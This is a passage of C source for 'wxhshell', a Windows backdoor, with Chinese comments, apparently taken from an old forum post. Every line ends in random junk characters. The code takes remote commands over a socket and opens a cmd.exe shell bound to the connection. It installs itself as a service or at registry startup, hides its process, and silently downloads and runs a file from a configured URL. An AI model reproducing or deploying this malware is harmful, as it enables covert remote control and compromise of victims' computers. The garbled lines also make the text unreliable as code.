  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); {<}kqn83sT  
  } {8a s _  
  else { ' *x?8-KP  
6:o?@%  
    switch(cmd[0]) { DGllJ_/Z  
  ? W`?F  
  // 帮助 tE>hj:p  
  case '?': { glvt umv  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); kH10z~(e  
    break; |Lz:i +;  
  } i'}Z>g5D  
  // 安装 l<l6Ey(  
  case 'i': { "0yO~;a  
    if(Install()) B U^3Ux$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); qp@:Zqz8  
    else Tfba3+V  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); .sk$@Q  
    break; 1*!`G5c,}  
    } E?/Bf@a28=  
  // 卸载 7k>sE  
  case 'r': { <r%QaQRbm  
    if(Uninstall()) b1A8 -![  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ZxRD+`  
    else tE: m& ;I  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); %kg%ttu7  
    break; ,&\uuD&.@  
    } `Al5(0Q  
  // 显示 wxhshell 所在路径 N?'V,p 0=  
  case 'p': { K 8gd?88  
    char svExeFile[MAX_PATH]; =N9a!i i|  
    strcpy(svExeFile,"\n\r"); hl[!4#b]K  
      strcat(svExeFile,ExeFile); JKkR963 O  
        send(wsh,svExeFile,strlen(svExeFile),0); J=gerdIk  
    break; YAIDSZ&l[  
    } Jz!8Xg%a  
  // 重启 dfDz/sD*  
  case 'b': { q,JMmhWaT  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 0r?}LWjf  
    if(Boot(REBOOT)) C#< :x!  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); eoS8e$}  
    else { CE$c/d[N.  
    closesocket(wsh); \V|\u=@H  
    ExitThread(0); K>h=  
    } Q`qHzb~%  
    break; }' mBqn  
    } %r0yBK2uOp  
  // 关机 .O{2]e$  
  case 'd': { 9ZL3p!  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); (>x4X@b  
    if(Boot(SHUTDOWN)) `4RraJj>0~  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); M%dXy^e  
    else { S=>54!{`x  
    closesocket(wsh); &i8AB{OU  
    ExitThread(0); 4+od N.  
    } gv}Esps R  
    break; z O  
    } 8I)66  
  // 获取shell I_('Mr)  
  case 's': { 1f]04TI  
    CmdShell(wsh); x1\,WOrmK  
    closesocket(wsh); $!L'ZO1_r  
    ExitThread(0); ] ZGP  
    break; bu[v[U4  
  } kzG m D i  
  // 退出 {$,e@nn  
  case 'x': { :A\8#]3  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); r^mP'#  
    CloseIt(wsh); _uuxTNN0x*  
    break; V]cD^Fqp  
    } bwG2=  
  // 离开 ^[no Gjy  
  case 'q': { 84UH& b'n  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); G};os+FxF  
    closesocket(wsh); _\YBB=Os  
    WSACleanup(); 66*/"dBwm  
    exit(1); 0b9;v lGq$  
    break; PpD ?TAlA  
        } nc#}-}`5  
  } s l|n]#)  
  } Amf gc>eJ  
t@[&8j2B>  
  // 提示信息 D.zEE-cGyb  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Vv4 w?K  
} k/A8 |  
  } 4k5X'&Q  
_jOu`1w  
  return; Y<0;;tVf4U  
} $<.\,wW*'w  
bI 3o|  
// shell模块句柄 5t`< KRz)I  
int CmdShell(SOCKET sock) ;Bk?,g  
{ rmS.$h@7 m  
STARTUPINFO si; n`Pwo &  
ZeroMemory(&si,sizeof(si)); HV-c DL  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; =  *7K_M&  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; {<{ O!  
PROCESS_INFORMATION ProcessInfo; !63p?Q=  
char cmdline[]="cmd"; 7U> Xi'?  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); tLXwszR0r  
  return 0; #T1py@b0zA  
} YIv!\`^ \  
3-z; pk  
// 自身启动模式 ]z EatY  
int StartFromService(void) 1*\JqCR  
{ XdX1GH*C  
typedef struct fvn`$  
{ DD`Bl1)  
  DWORD ExitStatus; &~ of]A  
  DWORD PebBaseAddress; O4w6\y3U  
  DWORD AffinityMask; ?AC flU_k  
  DWORD BasePriority; +eSNwR=  
  ULONG UniqueProcessId; % UDz4?zx  
  ULONG InheritedFromUniqueProcessId; o2  
}   PROCESS_BASIC_INFORMATION; XKD0n^L[  
h.PVRAwk  
PROCNTQSIP NtQueryInformationProcess; `)Z"||8K  
~.99H  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; #@s[!4)_I  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; lXH?*  
e P]L  
  HANDLE             hProcess; #=mLQSiQ  
  PROCESS_BASIC_INFORMATION pbi; yd#SB)&  
P_S^)Yo  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); %5#ts/f  
  if(NULL == hInst ) return 0; Y 3W_Z  
LpwjP4vWJ  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ZbVo<p5* ]  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); [=k$Q (.3  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); }71a3EUK  
\ng!qN  
  if (!NtQueryInformationProcess) return 0; `}t<5_  
qxKW% {6o  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); {j$:9  H  
  if(!hProcess) return 0; 2P3,\L  
[B<htD&  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 0c6b_%Rd  
KE>|,U r  
  CloseHandle(hProcess); v_M-:e3`  
xQLVFgd  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); @r7ekyO8)  
if(hProcess==NULL) return 0; /Kcp9Qx  
e ]-fb{oVH  
HMODULE hMod; |q0F*\z3  
char procName[255]; X{cFq W7  
unsigned long cbNeeded; D6X0(pU0  
Cngi5._Lb  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); PkM]jbLe8  
I'6 wh+  
  CloseHandle(hProcess); Z:>)5Z{'  
t}FwS6u  
if(strstr(procName,"services")) return 1; // 以服务启动 =PU! hZj"L  
`sW+R=  
  return 0; // 注册表启动 zt&"K0X|  
} /e|vz^#+1,  
vXA+o)*#/  
// 主模块 "[A]tklP  
int StartWxhshell(LPSTR lpCmdLine) l9Xz,H   
{ v_U+wga  
  SOCKET wsl; h 8Shf"  
BOOL val=TRUE; 2bIP.M2Fs  
  int port=0; .J=<E  
  struct sockaddr_in door; *vFXe_.  
|q+3X)Y  
  if(wscfg.ws_autoins) Install(); i&K-|[3{g  
1u`{yl*+?  
port=atoi(lpCmdLine); +\s32o zg  
6gr?#D -F  
if(port<=0) port=wscfg.ws_port; b*5Yy/U  
Gl am(V1  
  WSADATA data; MBp,! _Q6  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ~F)[H'$A  
;@5N  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   h7?uM^p  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); p.%lE! v  
  door.sin_family = AF_INET; "W71#n+ [  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); _;z IH5 H  
  door.sin_port = htons(port); Z [[AmxE'l  
r<)>k.] !  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ][D/=-  
closesocket(wsl); V^S` d8?  
return 1; G q&[T:  
} )t?_3'W  
w'i8yl bZ  
  if(listen(wsl,2) == INVALID_SOCKET) { {OIktG2gZ  
closesocket(wsl); {tKi8O^Rb  
return 1; %[l#S*)~  
} :,8eM{.Q  
  Wxhshell(wsl); E]MyP=g$  
  WSACleanup(); xZ\`f-zL  
w?JRY  
return 0; xZE%Gf_U  
aG*Mj;J  
} +uqP:z  
F/ si =%  
// 以NT服务方式启动 5w9oMM {  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) PI-o)U$Ehv  
{ 6}/m~m  
DWORD   status = 0; w]ihGh  
  DWORD   specificError = 0xfffffff; XYrZI/R  
|'+ [ '  
  serviceStatus.dwServiceType     = SERVICE_WIN32; $ca>b X]  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; I d}@  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 6+.8nx:9X  
  serviceStatus.dwWin32ExitCode     = 0; Jf</83RZ  
  serviceStatus.dwServiceSpecificExitCode = 0; j&y>?Y&Sb  
  serviceStatus.dwCheckPoint       = 0; wJ>.I<F6B  
  serviceStatus.dwWaitHint       = 0; EJByYk   
M[:},?ah0  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); [&MhAzF  
  if (hServiceStatusHandle==0) return; hLo'q^mGr  
B[IqLD'6  
status = GetLastError(); Z*Lv!6WS  
  if (status!=NO_ERROR) h*lU&8)m\  
{ 1RU+d.&D  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; znq/ %7  
    serviceStatus.dwCheckPoint       = 0; -]Mbe2;  
    serviceStatus.dwWaitHint       = 0; H_&z- g`  
    serviceStatus.dwWin32ExitCode     = status; JI7.:k;  
    serviceStatus.dwServiceSpecificExitCode = specificError; A< *G;  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); w~|z0;hC  
    return; *.P3fVlZ  
  } (X|`|Y  
S(NUuu}S  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; VT:m!<^  
  serviceStatus.dwCheckPoint       = 0; b&g`AnYT  
  serviceStatus.dwWaitHint       = 0; |+h8g@;Z  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); _ry7 [/)  
} &60#y4  
.>^iU}  
// 处理NT服务事件,比如:启动、停止 cERmCe|/CG  
VOID WINAPI NTServiceHandler(DWORD fdwControl) tj< 0q<is  
{ p+.{"%  
switch(fdwControl) 6>e YG <y{  
{ \!J9|  
case SERVICE_CONTROL_STOP: ] RLEyDB  
  serviceStatus.dwWin32ExitCode = 0; _[p@V_my  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; O{&wqV5m"  
  serviceStatus.dwCheckPoint   = 0; <x->.R_  
  serviceStatus.dwWaitHint     = 0; !fT3mI6u\  
  { _usi~m  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); <&87aDYz  
  } r$/.x6g//  
  return; R1j)0b6cQ%  
case SERVICE_CONTROL_PAUSE: R2B0?fu  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ptCAtEO72  
  break; ;Y@"!\t}  
case SERVICE_CONTROL_CONTINUE: zKf.jpF^  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; D  Kng.P  
  break; s]@k,%  
case SERVICE_CONTROL_INTERROGATE: <uL0 M`u3  
  break; R)u ${  
}; >=!$(JgX  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); bA*T1Db,t>  
} O ]Stf7]%;  
O~u@J'4  
// 标准应用程序主函数 'boAv%1_sa  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) nv-_\M   
{ +jrMvk"  
m L,El2  
// 获取操作系统版本 :978D0}{p  
OsIsNt=GetOsVer(); ANWUo}j  
GetModuleFileName(NULL,ExeFile,MAX_PATH); "PtOe[Xk  
9xZ?}S:d  
  // 从命令行安装 (U@uJ  
  if(strpbrk(lpCmdLine,"iI")) Install(); S /)J<?<b  
X!=*<GF)  
  // 下载执行文件 r<XlIi  
if(wscfg.ws_downexe) { I]B[H6  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 0ofl,mXW  
  WinExec(wscfg.ws_filenam,SW_HIDE); t^(#~hx  
} 1Yb9ILX[J  
BdYl sYp  
if(!OsIsNt) { > qDHb'  
// 如果时win9x,隐藏进程并且设置为注册表启动 "YQ%j+  
HideProc(); ^{(i;IVG  
StartWxhshell(lpCmdLine); 5^GFN*poig  
} VQ]MJjvb  
else $ix*xm. 4m  
  if(StartFromService()) DUOSL  
  // 以服务方式启动 TU,k( `tn<  
  StartServiceCtrlDispatcher(DispatchTable); =S|^pN  
else Kj`sq":Je0  
  // 普通方式启动 /{7we$+,p  
  StartWxhshell(lpCmdLine); AYLCdCoK.  
 l6uU S  
return 0; K-f\nr  
}
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只看该作者 1 发表于: 2006-10-10
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